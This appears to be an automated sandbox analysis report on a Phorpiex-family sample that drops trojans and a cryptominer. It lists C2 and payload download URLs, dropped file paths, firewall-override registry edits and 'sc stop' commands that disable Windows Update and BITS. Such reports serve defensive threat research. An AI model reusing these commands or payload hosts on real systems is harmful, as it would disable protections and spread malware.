Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\Desktop\Us051y7j25.exe

Code function: 0_2_00141D28 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00141D28

Source: C:\Windows\System32\dwm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\sysppvrdnvs.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center FirewallOverride

Jump to behavior

Stops critical windows services

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait

Remote Access Functionality

Yara detected Phorpiex

Source: Yara match	File source: 4.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.21324.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.21324.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 21324.scr PID: 4416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 1588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 4492, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\21324.scr, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe, type: DROPPED
Source: Yara match	File source: C:\Windows\sysppvrdnvs.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	3_2_00401470
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	3_2_00402020
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_0040E190 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	3_2_0040E190
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_004013B0 CreateEventA,socket,bind,CreateThread,	3_2_004013B0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	4_2_00401470
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	4_2_00402020
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_0040E190 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	4_2_0040E190
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_004013B0 CreateEventA,socket,bind,CreateThread,	4_2_004013B0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	18_2_00401470
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	18_2_00402020
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_0040E190 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	18_2_0040E190
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_004013B0 CreateEventA,socket,bind,CreateThread,	18_2_004013B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	31 Disable or Modify Tools	11 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	34 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	21 Windows Service	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	11 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	21 Windows Service	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	311 Process Injection	2 Obfuscated Files or Information	NTDS	27 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	Network Logon Script	1 Scheduled Task/Job	11 DLL Side-Loading	LSA Secrets	341 Security Software Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	1 Registry Run Keys / Startup Folder	221 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	141 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	311 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Us051y7j25.exe	41%	Virustotal		Browse
Us051y7j25.exe	42%	ReversingLabs	Win32.Trojan.Barys

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe	100%	Avira	HEUR/AGEN.1329646
C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	100%	Avira	HEUR/AGEN.1329646
C:\Users\user\AppData\Local\Temp\1239611256.exe	100%	Avira	HEUR/AGEN.1329646
C:\Users\user\AppData\Local\Temp\2314627202.exe	100%	Avira	TR/Dldr.Agent.daypt
C:\Users\user\AppData\Local\Temp\21324.scr	100%	Avira	HEUR/AGEN.1315882
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe	100%	Avira	HEUR/AGEN.1315882
C:\Users\user\AppData\Local\Temp\1091722296.exe	100%	Avira	WORM/Phorpiex.olrti
C:\Windows\sysppvrdnvs.exe	100%	Avira	HEUR/AGEN.1315882
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe	100%	Joe Sandbox ML
C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1239611256.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\21324.scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1091722296.exe	100%	Joe Sandbox ML
C:\Windows\sysppvrdnvs.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1881231804.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe	76%	ReversingLabs	Win64.Trojan.Whisperer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe	82%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\1091722296.exe	76%	ReversingLabs	Win32.Worm.Phorpiex
C:\Users\user\AppData\Local\Temp\1239611256.exe	76%	ReversingLabs	Win64.Trojan.Whisperer
C:\Users\user\AppData\Local\Temp\146916724.exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1881231804.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.InjectorX
C:\Users\user\AppData\Local\Temp\21324.scr	82%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\2314627202.exe	58%	ReversingLabs	Win32.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp	70%	ReversingLabs	Win64.Trojan.DisguisedXMRigMiner
C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys	5%	ReversingLabs
C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	76%	ReversingLabs	Win64.Trojan.Whisperer
C:\Windows\sysppvrdnvs.exe	82%	ReversingLabs	Win32.Trojan.MintZard

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
s-part-0017.t-0009.t-msedge.net	0%	Virustotal		Browse
twizthash.net	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.microsoft	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://www.microsoft.c	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://185.215.113.84/nxmr.exep	15%	Virustotal		Browse
http://www.t.com/pk	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	0%, Virustotal, Browse	unknown
twizthash.net	185.215.113.66	true	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.66/tdrpl.exe	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.66/reg.php?s=%s	2314627202.exe, 0000001A.00000002.2688482531.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, 2314627202.exe, 0000001A.00000000.2647768559.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	false		unknown
http://www.t.com/pk	powershell.exe, 0000001E.00000002.2936923038.0000025221A92000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://185.215.113.84/nxmr.exe	1091722296.exe, 1091722296.exe, 0000001B.00000002.2814772306.000000000123E000.00000004.00000020.00020000.00000000.sdmp, 1091722296.exe, 0000001B.00000002.2814772306.0000000001253000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.84/nxmr.exep	1091722296.exe, 0000001B.00000002.2814772306.0000000001253000.00000004.00000020.00020000.00000000.sdmp	false	15%, Virustotal, Browse	unknown
http://91.202.233.141/ALLBSTATAASASDMozilla/5.0	sysppvrdnvs.exe, 00000004.00000002.3525303582.0000000004B40000.00000004.00000020.00020000.00000000.sdmp, 146916724.exe, 0000001D.00000000.2817112808.0000000000C92000.00000002.00000001.01000000.0000000D.sdmp, 146916724.exe, 0000001D.00000002.2876438869.0000000000C92000.00000002.00000001.01000000.0000000D.sdmp	false		unknown
http://185.215.113.66/tdrpl.exeystem32	Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.microsoft	powershell.exe, 0000001E.00000002.2937786376.0000025221AF4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.66/1E	sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000726000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/tdrpl.exeUUC:	Us051y7j25.exe, 00000000.00000003.2341630604.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/	21324.scr, 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.00000000006D9000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 146916724.exe, 0000001D.00000002.2876135463.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://91.202.233.141/der	sysppvrdnvs.exe, 00000004.00000002.3515115127.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000023.00000002.3096620237.0000015D9006A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.84/nxmr.exeP0	sysppvrdnvs.exe, 00000004.00000002.3519879105.0000000002E53000.00000004.00000020.00020000.00000000.sdmp, 1091722296.exe, 0000001B.00000000.2731715048.0000000000602000.00000002.00000001.01000000.0000000B.sdmp, 1091722296.exe, 0000001B.00000002.2811517821.0000000000602000.00000002.00000001.01000000.0000000B.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/envelope/	sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp	false	URL Reputation: safe	unknown
http://91.202.233.141/1	sysppvrdnvs.exe, 00000004.00000002.3520183951.0000000002F9C000.00000004.00000010.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000750000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/5hR&	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/2	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1zR	sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/5	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/3	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/ALLBSTATAASASDO	146916724.exe, 0000001D.00000002.2876135463.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/ALLBSTATAASASDH	146916724.exe, 0000001D.00000002.2876135463.0000000000BC6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/4C:	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1MR	sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.m5	powershell.exe, 0000001E.00000002.2929967156.0000025221970000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/17.36C:	sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000023.00000002.3096620237.0000015D9006A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000001E.00000002.2924839612.000002521948A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3096620237.0000015D9006A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.66/	Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 21324.scr, 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000750000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp	true		unknown
http://91.202.233.141/ALLBSTATAASASD?	146916724.exe, 0000001D.00000002.2876135463.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/ALLBSTATAASASD	146916724.exe, 0000001D.00000002.2876135463.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, 146916724.exe, 0000001D.00000002.2876135463.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/4#	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.microsoft.c	powershell.exe, 00000023.00000002.3113150538.0000015DF3020000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://91.202.233.141/TLOADEDBROMozilla/5.0	2314627202.exe, 0000001A.00000002.2688482531.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, 2314627202.exe, 0000001A.00000000.2647768559.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001E.00000002.2891902429.0000025209421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3020507274.0000015D80001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.66/tdrpl.exe2	Us051y7j25.exe, 00000000.00000003.2341630604.00000000008EC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.84/U	1091722296.exe, 0000001B.00000002.2814772306.0000000001253000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/ALLBSTATAASASD1	146916724.exe, 0000001D.00000002.2876135463.0000000000BC6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/tdrpl.exeLMEM	Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000001E.00000002.2924839612.000002521948A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3096620237.0000015D9006A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.66/1x	sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000726000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp, powershell.exe, 0000001E.00000002.2891902429.0000025209649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/http://91.202.233.141/12345%s%s%s:Zone.Identifier%userprofile%%windir%%s	21324.scr, 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp	false		unknown
http://91.202.233.141/2MR	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000023.00000002.3096620237.0000015D9006A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.66/5	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000750000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/4	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000793000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/5aR-	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
